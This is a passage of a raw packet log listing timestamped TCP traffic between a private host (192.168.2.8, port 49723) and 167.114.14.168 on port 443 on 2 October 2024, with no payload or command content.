Oct 2, 2024 06:11:31.038126945 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.038147926 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.038212061 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.038217068 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.038331985 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.038554907 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.038570881 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.038628101 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.038633108 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.038712978 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.039275885 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.039290905 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.039352894 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.039359093 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.039410114 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.039410114 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.046204090 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.046220064 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.046293974 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.046299934 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.046392918 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.127561092 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.127579927 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.127702951 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.127734900 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.127796888 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.127885103 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.127899885 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.127948046 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.127955914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.128005981 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.128763914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.128778934 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.128860950 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.128887892 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.128947020 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.128973961 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.129000902 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.129009962 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.129024982 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.129049063 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.129143000 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.129158974 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.129230022 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.129239082 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.129731894 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.129770041 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.129810095 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.129822016 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.129853010 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.129873991 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.130475044 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.130489111 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.130551100 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.130570889 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.133805037 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.136852026 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.136868000 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.136966944 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.137001038 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.137742996 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.170706034 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.218033075 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.218064070 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.218159914 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.218189001 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.218497992 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.218518019 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.218554974 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.218566895 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.218580961 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.218606949 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.219028950 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.219049931 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.219105005 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.219115019 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.219333887 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.219358921 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.219414949 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.219414949 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.219425917 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.219465971 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.220006943 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.220031977 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.220066071 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.220073938 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.220089912 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.220422983 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.220441103 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.220474958 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.220483065 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.220496893 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.220530033 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.220655918 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.220674992 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.220724106 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.220731974 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.220751047 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.220777988 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.226520061 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.234196901 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.234249115 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.234292984 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.234318018 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.234343052 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.234360933 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.308975935 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.308995962 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.309123993 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.309151888 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.309175014 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.309196949 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.309226990 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.309235096 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.309247971 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.309281111 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.309750080 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.309765100 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.309813976 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.309820890 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.310026884 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.310101032 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.310121059 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.310156107 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.310162067 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.310173988 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.310201883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.310506105 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.310523987 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.310560942 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.310565948 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.310595036 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.310616970 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.310672998 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.310951948 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.310970068 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.311022997 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.311028957 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.311454058 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.311471939 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.311511040 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.311517000 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.311530113 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.311602116 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.324894905 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.324913979 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.324995995 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.325021029 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.325869083 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.415232897 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.415251017 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.415419102 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.415443897 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.415591002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.415611029 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.415651083 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.415657997 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.415672064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.415708065 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.416131973 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.416152954 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.416204929 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.416212082 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.416254044 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.416727066 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.416749954 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.416789055 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.416794062 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.416820049 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.416831970 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.417054892 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.417081118 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.417117119 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.417123079 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.417150021 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.417169094 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.417473078 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.417489052 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.417548895 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.417555094 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.417690039 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.418157101 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.418174028 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.418226957 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.418234110 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.421722889 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.435044050 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.435061932 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.435178041 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.435204983 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.435250044 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.448512077 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.506225109 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.506293058 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.506313086 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.506350040 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.506371021 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.506392956 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.506488085 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.506504059 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.506548882 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.506561041 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.506601095 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.507014036 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.507029057 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.507081985 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.507088900 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.507133007 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.507343054 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.507355928 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.507410049 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.507416964 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.507431030 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.507467985 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.507891893 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.507930994 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.507955074 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.507966995 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.507992029 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.508008003 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.508428097 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.508446932 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.508492947 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.508512974 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.508531094 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.508569002 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.508858919 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.508876085 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.508934021 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.508944988 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.508970022 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.509000063 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.526238918 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.526254892 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.526302099 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.526325941 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.526340961 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.526376009 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.596745014 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.596805096 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.596820116 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.596843004 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.596859932 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.596950054 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.597177029 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.597232103 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.597234964 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.597245932 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.597289085 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.597635984 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.597651958 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.597692966 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.597702026 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.597722054 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.597745895 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.598249912 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.598264933 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.598308086 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.598316908 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.598354101 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.598551035 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.598563910 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.598602057 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.598608971 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.598640919 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.598664045 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.599360943 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.599375010 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.599410057 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.599423885 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.599447012 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.599463940 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.599482059 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.599514008 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.605371952 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.616743088 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.616760969 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.616831064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.616856098 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.659032106 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.687679052 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.687696934 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.687762022 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.687783003 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.687824965 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.688025951 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.688041925 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.688102961 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.688107967 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.688152075 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.688395977 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.688411951 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.688461065 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.688467026 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.688508034 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.688905954 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.688924074 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.688977003 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.688982964 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.689027071 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.689559937 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.689580917 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.689619064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.689625025 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.689649105 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.689668894 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.689840078 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.689857006 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.689908028 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.689913988 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.689944029 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.689959049 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.690419912 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.690435886 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.690484047 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.690490007 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.690520048 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.690542936 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.707530022 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.707545996 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.707611084 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.707618952 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.707658052 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.778615952 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.778640032 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.778697014 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.778707981 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.778740883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.778754950 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.779017925 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.779035091 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:31.779087067 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:31.779093027 CEST	443	49723	167.114.14.168	192.168.2.8
